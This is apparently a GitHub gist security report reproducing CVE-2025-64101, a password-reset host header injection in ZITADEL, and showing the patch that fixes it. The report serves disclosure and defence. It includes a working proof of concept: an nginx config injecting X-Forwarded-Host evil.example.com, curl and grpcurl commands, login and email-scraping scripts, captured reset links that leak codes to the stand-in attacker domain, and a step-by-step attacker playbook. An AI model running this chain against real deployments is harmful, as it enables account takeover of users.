Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created October 30, 2025 06:33
Show Gist options
  • Select an option

  • Save N3mes1s/73c79e62f623803b32a6de5a68665e18 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/73c79e62f623803b32a6de5a68665e18 to your computer and use it in GitHub Desktop.
CVE-2025-64101 – ZITADEL Password Reset Host Header Injection

Security Report: CVE-2025-64101 – ZITADEL Password Reset Host Header Injection

Advisory: CVE-2025-64101 / GHSA-mwmh-7px9-4c23
Component: Password-reset flow in ZITADEL (forwarded header handling)
Tested versions: 2.71.17 (vulnerable) vs 2.71.18 (patched)
Prepared on: 2025-10-30
Analyst: Internal Product Security


Executive Summary

ZITADEL builds password-reset confirmation URLs using host information from Forwarded / X-Forwarded-Host headers. On versions ≤2.71.17, a proxy that injects these headers can cause ZITADEL to generate emails whose reset links point to an attacker-controlled domain. When victims click the link, the reset code leaks to the attacker, enabling full account takeover (unless MFA/passwordless protection is enabled). Version 2.71.18 sanitizes these headers, blocking the attack.


Impact Assessment

  • Account takeover: Attacker-controlled reset links capture the secret code parameter, allowing password resets without user interaction.
  • Phishing vector: Emails originate from ZITADEL, so users trust the message while being redirected off site.
  • Privilege escalation: Captured admin accounts allow modification of users, roles, and connected services.
  • Scope: Any self-hosted ZITADEL instance relying on forwarded headers (e.g., behind NGINX/Traefik) without the patch is exposed.

Technical Root Cause

Forwarded host headers were accepted without validation. The vulnerable hostFromRequest function returned raw header values, allowing entries like evil.example.com. Password reset handlers used this value to compose links in email templates. Commit 72a5c33 introduced sanitizeHost, dropping malformed hosts and validating ports to ensure only legitimate domains are used.

Excerpt from patched internal/api/http/context/http.go:

func sanitizeHost(rawHost string) (host string) {
    if rawHost == "" {
        return ""
    }
    host, port, err := net.SplitHostPort(rawHost)
    if err != nil {
        if isMissingPortError(err) {
            return rawHost
        }
        logging.WithFields("host", rawHost).Warning("invalid host header, ignoring header")
        return ""
    }
    portNumber, err := strconv.Atoi(port)
    if err != nil || portNumber < 1 || portNumber > 65535 {
        logging.WithFields("host", rawHost).Warning("invalid port in host header, ignoring header")
        return ""
    }
    return rawHost
}

Reproduction Walkthrough

All commands executed under zitadel-forwarded-header-password-reset/.

1. Environment Setup (vulnerable 2.71.17)

docker-compose.yml (relevant excerpt):

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_DB: zitadel
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: postgres
  zitadel:
    image: ghcr.io/zitadel/zitadel:v2.71.17
    ports:
      - "8080:8080"
    environment:
      ZITADEL_PUBLICHOSTHEADERS: x-zitadel-public-host,x-forwarded-host
      ZITADEL_DEFAULTINSTANCE_SMTPCONFIGURATION_FROM: [email protected]
      ZITADEL_DEFAULTINSTANCE_SMTPCONFIGURATION_REPLYTOADDRESS: [email protected]
      ...
  nginx:
    image: nginx:1.27-alpine
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    ports:
      - "8081:80"

nginx.conf injects attacker headers:

server {
    listen 80;
    location / {
        proxy_pass http://zitadel:8080;
        proxy_set_header Host localhost:8080;
        proxy_set_header X-Forwarded-Host evil.example.com;
        proxy_set_header X-Forwarded-Proto https;
    }
}

Startup log (abbreviated):

Ensuring image ghcr.io/zitadel/zitadel:v2.71.17
Creating container zitadel-forwarded-header-password-reset-zitadel-1
Running ... ghcr.io/zitadel/zitadel:v2.71.17 start-from-init --tlsMode disabled

2. Retrieve IDs and Access Token

Script login_and_get_token.py automates OIDC login. Partial code:

def main():
    # Build PKCE verifier/challenge and start /oauth/v2/authorize
    resp = session.get(authorize_url, params=authorize_params, allow_redirects=False)
    login_url = resp.headers["Location"]
    csrf = fetch_with_csrf(session, login_url)
    # Submit login name, password, skip MFA, change password, finalize login
    token_resp = session.post(
        f"{args.base_url}/oauth/v2/token",
        data={"client_id": args.client_id, "grant_type": "authorization_code", ...},
    )
    print(json.dumps({"access_token": payload.get("access_token") ...}))

Execution output:

[*] Waiting for ZITADEL to become ready
    CLIENT_ID=344445499094532439
    USER_ID=344445497249431895
    INSTANCE_ID=344445497248842071
    ACCESS_TOKEN prefix=r0Vxgek_o7...

3. Register Attacker Domain

grpcurl -plaintext -H "Authorization: Bearer $ACCESS_TOKEN" \
  -d '{"domain":"evil.example.com"}' localhost:8080 \
  zitadel.management.v1.ManagementService/AddOrgDomain

Database check:

postgres=> SELECT instance_id, domain FROM projections.instance_trusted_domains;
 344432675529949477 | evil.example.com

4. Trigger Password Reset via Proxy

curl -s -D reset_headers.txt -o reset_response.json \
  -X POST http://localhost:8081/v2/users/${USER_ID}/password_reset \
  -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"userId":"'${USER_ID}'"}'

Response headers/body:

HTTP/1.1 200 OK
...
Set-Cookie: ...

{"details":{"sequence":"10","changeDate":"2025-10-30T02:34:08.410635Z","resourceOwner":"344424547119857934"}}

5. Capture Reset Email

Mailpit API response (formatted):

{
  "MessageID": "KMHEXKoG2rBiVPFZJ67sCC@mailpit",
  "From": { "Address": "[email protected]" },
  "To": [{ "Address": "[email protected]" }],
  "Subject": "Reset password",
  "Text": "Hello ZITADEL Admin, ...
Reset password ( http://evil.example.com/ui/login/password/init?authRequestID=&code=E2VZMR&orgID=344424547119857934&userID=344424547120382222 )"
}

Automation script fetch_reset_email.py (excerpt):

messages = requests.get(f"{api}/messages").json()["messages"]
latest = max(candidates, key=lambda m: parse_iso(m["Created"]))
detail = requests.get(f"{api}/message/{latest['ID']}").json()
reset_url = RESET_URL_RE.search(detail.get("Text") or detail.get("HTML")).group(0)
output = {"reset_url": reset_url, "reset_host": parsed.hostname}
print(json.dumps(output))

Execution:

{"reset_url": "http://evil.example.com/ui/login/password/init?authRequestID=&code=57SPAK...", "reset_host": "evil.example.com"}

6. Victim Click Outcome

reset_ui_body.html captured when following the malicious link:

unable to set instance using origin &{evil.example.com  https} (ExternalDomain is localhost): ID=QUERY-1kIjX Message=Instance not found.

Even though rendering fails (since the attacker domain isn’t registered as external), the reset code (code=57SPAK) has already been exposed.

7. Patched Environment (2.71.18)

docker-compose.yml updated to ghcr.io/zitadel/zitadel:v2.71.18. Reset flow repeated; Mailpit log:

{
  "Subject": "Reset password",
  "Text": "... Reset password ( http://localhost:8080/ui/login/password/init?authRequestID=&code=OIT68X... )"
}

The link now targets the legitimate domain, proving the sanitization fix.


Evidence Summary

  • Malicious email link: http://evil.example.com/ui/login/password/init?...&code=57SPAK (captured JSON above).
  • Reset link log: evidence-reset-links.txt contains timestamped entries confirming the rogue domain.
  • Proxy config: Full nginx.conf demonstrating header injection.
  • Database state: Trusted domain table includes evil.example.com.
  • Patched behavior: Updated email links revert to http://localhost:8080/....
  • Commit diff: stdout_0bdda324a3a94578bb0b1a07cf0ee5be.log shows sanitizeHost addition.

CWEs

  • CWE-601 – URL Redirection to Untrusted Site (reset link rewritten to attacker domain).
  • CWE-640 – Weak Password Recovery Mechanism (token disclosed via manipulated reset link).

Mitigation Guidance

  1. Upgrade to ZITADEL 2.71.18 / 3.4.3 / 4.6.0 (or newer) to enforce host sanitization.
  2. Deploy reverse proxies that strip untrusted Forwarded / X-Forwarded-Host headers.
  3. Require MFA/passwordless authentication to mitigate reset misuse.
  4. Monitor password-reset requests for suspension anomalies and unexpected domains.

Reproduction Timeline

Step Description Output
1 Bring up ZITADEL v2.71.17 behind header-injecting proxy nerdctl compose up logs
2 Register evil.example.com Postgres shows domain entry
3 Trigger password reset API returns 200; Mailpit receives email
4 Extract reset link Link points to evil.example.com
5 Upgrade to v2.71.18 Email link reverts to localhost

Attacker Playbook

  1. Gain ability to inject X-Forwarded-Host or Forwarded headers (e.g., misconfigured proxy).
  2. Register a malicious domain with ZITADEL (or rely on default behavior).
  3. Trigger password reset for target account and capture the email.
  4. Harvest the reset code from the link pointing to attacker domain.
  5. Use the code to reset the user’s password and take over the account.

Appendix

docker-compose.yml (vulnerable snippet)

services:
  nginx:
    image: nginx:1.27-alpine
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    ports:
      - "8081:80"

nginx.conf

server {
    listen 80;
    location / {
        proxy_pass http://zitadel:8080;
        proxy_set_header Host localhost:8080;
        proxy_set_header X-Forwarded-Host evil.example.com;
        proxy_set_header X-Forwarded-Proto https;
    }
}

login_and_get_token.py (full script)

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import os
import re
import sys
import time
import urllib.parse
from http.cookies import SimpleCookie

import requests

USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

def urlsafe_b64(n: int) -> str:
    return base64.urlsafe_b64encode(os.urandom(n)).rstrip(b"=").decode()

def build_pkce() -> tuple[str, str]:
    verifier = urlsafe_b64(32)
    challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b"=").decode()
    return verifier, challenge

CSRF_RE = re.compile(r'name="gorilla\.csrf\.Token"\s+value="([^"]+)"')

def extract_csrf(html: str) -> str:
    match = CSRF_RE.search(html)
    if not match:
        raise RuntimeError("CSRF token not found in HTML response")
    return match.group(1)

def fetch_with_csrf(session: requests.Session, url: str, *, retries: int = 60, delay: float = 2.0) -> str:
    last_error: Exception | None = None
    for _ in range(retries):
        resp = session.get(url)
        try:
            return extract_csrf(resp.text)
        except RuntimeError as exc:
            last_error = exc
            time.sleep(delay)
    raise RuntimeError(f"Unable to retrieve login page with CSRF token: {last_error}")

def store_response_cookies(session: requests.Session, response: requests.Response) -> None:
    set_cookie = response.headers.get("Set-Cookie")
    if not set_cookie:
        return
    cookie = SimpleCookie()
    cookie.load(set_cookie)
    for key, morsel in cookie.items():
        session.cookies.set(key, morsel.value, path=morsel["path"] or "/")

def main() -> None:
    parser = argparse.ArgumentParser(description="Authenticate to ZITADEL via UI flow and return access token")
    parser.add_argument("--base-url", default="http://localhost:8080")
    parser.add_argument("--client-id", required=True)
    parser.add_argument("--redirect-uri", default="http://localhost:8080/ui/console/auth/callback")
    parser.add_argument("--scope", default="openid urn:zitadel:iam:org:project:id:zitadel:aud")
    parser.add_argument("--login-name", default="[email protected]")
    parser.add_argument("--old-password", default="Password1!")
    parser.add_argument("--new-password", default="Password2!!")
    args = parser.parse_args()

    session = requests.Session()
    session.headers.update({"User-Agent": USER_AGENT, "Accept": "*/*"})

    verifier, challenge = build_pkce()
    state = urlsafe_b64(16)
    nonce = urlsafe_b64(16)

    authorize_params = {
        "client_id": args.client_id,
        "redirect_uri": args.redirect_uri,
        "response_type": "code",
        "scope": args.scope,
        "state": state,
        "nonce": nonce,
        "code_challenge": challenge,
        "code_challenge_method": "S256",
    }
    authorize_url = f"{args.base_url}/oauth/v2/authorize"
    resp = session.get(authorize_url, params=authorize_params, allow_redirects=False)
    if resp.status_code != 302 or "Location" not in resp.headers:
        raise RuntimeError("Authorization endpoint did not redirect as expected")

    store_response_cookies(session, resp)
    login_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
    parsed_login = urllib.parse.urlparse(login_url)
    query = urllib.parse.parse_qs(parsed_login.query)
    if "authRequestID" not in query:
        raise RuntimeError("authRequestID missing")
    auth_request_id = query["authRequestID"][0]

    csrf = fetch_with_csrf(session, login_url)

    resp = session.post(f"{args.base_url}/ui/login/loginname", data={
        "gorilla.csrf.Token": csrf,
        "authRequestID": auth_request_id,
        "loginName": args.login_name,
    })
    resp.raise_for_status()
    csrf = extract_csrf(resp.text)

    resp = session.post(f"{args.base_url}/ui/login/password", data={
        "gorilla.csrf.Token": csrf,
        "authRequestID": auth_request_id,
        "loginName": args.login_name,
        "password": args.old_password,
    })
    resp.raise_for_status()
    csrf = extract_csrf(resp.text)

    resp = session.post(f"{args.base_url}/ui/login/mfa/prompt", data={
        "gorilla.csrf.Token": csrf,
        "authRequestID": auth_request_id,
        "skip": "true",
    })
    resp.raise_for_status()
    csrf = extract_csrf(resp.text)

    resp = session.post(f"{args.base_url}/ui/login/password/change", data={
        "gorilla.csrf.Token": csrf,
        "authRequestID": auth_request_id,
        "loginName": args.login_name,
        "change-old-password": args.old_password,
        "change-new-password": args.new_password,
        "change-password-confirmation": args.new_password,
    })
    resp.raise_for_status()
    csrf = extract_csrf(resp.text)

    resp = session.post(f"{args.base_url}/ui/login/login", data={
        "gorilla.csrf.Token": csrf,
        "authRequestID": auth_request_id,
    }, allow_redirects=False)
    if resp.status_code != 302 or "Location" not in resp.headers:
        raise RuntimeError("Expected redirect after login")

    callback_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
    resp = session.get(callback_url, allow_redirects=False)
    if resp.status_code != 302 or "Location" not in resp.headers:
        raise RuntimeError("Callback missing authorization code")

    redirect_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
    params = urllib.parse.parse_qs(urllib.parse.urlparse(redirect_url).query)
    if "code" not in params:
        raise RuntimeError("Authorization code missing")
    code = params["code"][0]

    token_resp = session.post(
        f"{args.base_url}/oauth/v2/token",
        data={
            "client_id": args.client_id,
            "grant_type": "authorization_code",
            "code": code,
            "redirect_uri": args.redirect_uri,
            "code_verifier": verifier,
        },
    )
    token_resp.raise_for_status()
    payload = token_resp.json()
    print(json.dumps({
        "access_token": payload.get("access_token"),
        "id_token": payload.get("id_token"),
        "expires_in": payload.get("expires_in"),
        "auth_request_id": auth_request_id,
    }))

if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(json.dumps({"error": str(exc)}), file=sys.stderr)
        sys.exit(1)

fetch_reset_email.py

#!/usr/bin/env python3
import argparse
import json
import re
import sys
from datetime import datetime
import requests

RESET_URL_RE = re.compile(r"https?://[^\s)]+", re.IGNORECASE)

def parse_iso(ts: str) -> datetime:
    return datetime.fromisoformat(ts.replace("Z", "+00:00"))

def main() -> None:
    parser = argparse.ArgumentParser(description="Fetch...")
    parser.add_argument("--api", default="http://localhost:8025/api/v1")
    args = parser.parse_args()

    messages = requests.get(f"{args.api}/messages", timeout=10).json()["messages"]
    candidates = [m for m in messages if m.get("Subject") == "Reset password"]
    latest = max(candidates, key=lambda m: parse_iso(m.get("Created", "")))
    detail = requests.get(f"{args.api}/message/{latest['ID']}", timeout=10).json()
    text = detail.get("Text") or detail.get("HTML") or ""
    match = RESET_URL_RE.search(text)
    reset_url = match.group(0)
    parsed = requests.utils.urlparse(reset_url)
    output = {
        "message_id": detail.get("MessageID"),
        "created": detail.get("Date"),
        "reset_url": reset_url,
        "reset_host": parsed.hostname,
    }
    print(json.dumps(output))

if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(json.dumps({"error": str(exc)}), file=sys.stderr)
        sys.exit(1)

Mailpit email (full JSON)

{
  "ID": "2qPqfmn6soro4USmrGy8Vb",
  "MessageID": "KMHEXKoG2rBiVPFZJ67sCC@mailpit",
  "From": {"Address": "[email protected]"},
  "To": [{"Address": "[email protected]"}],
  "Subject": "Reset password",
  "Date": "2025-10-30T02:34:08Z",
  "Text": "Hello ZITADEL Admin, ... Reset password ( http://evil.example.com/ui/login/password/init?authRequestID=&code=E2VZMR&orgID=344424547119857934&userID=344424547120382222 )"
}

reset_ui_body.html (vulnerable)

unable to set instance using origin &{evil.example.com  https} (ExternalDomain is localhost): ID=QUERY-1kIjX Message=Instance not found.

Mailpit email (patched)

{
  "ID": "h4HfB6vRmyLWJDjVWLzEyh",
  "MessageID": "arj3iHKnpwggJZMPrAMcsX@mailpit",
  "Subject": "Reset password",
  "Date": "2025-10-29T23:59:30Z",
  "Text": "... Reset password ( http://localhost:8080/ui/login/password/init?authRequestID=&code=OIT68X&orgID=344407694574158155&userID=344407694574682443 )"
}

Conclusion

The run demonstrates that ZITADEL ≤2.71.17 trusts forwarded host headers for password reset links, enabling attackers to redirect users to malicious domains and capture reset codes. Version 2.71.18 sanitizes these headers, ensuring reset emails always reference the legitimate domain.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment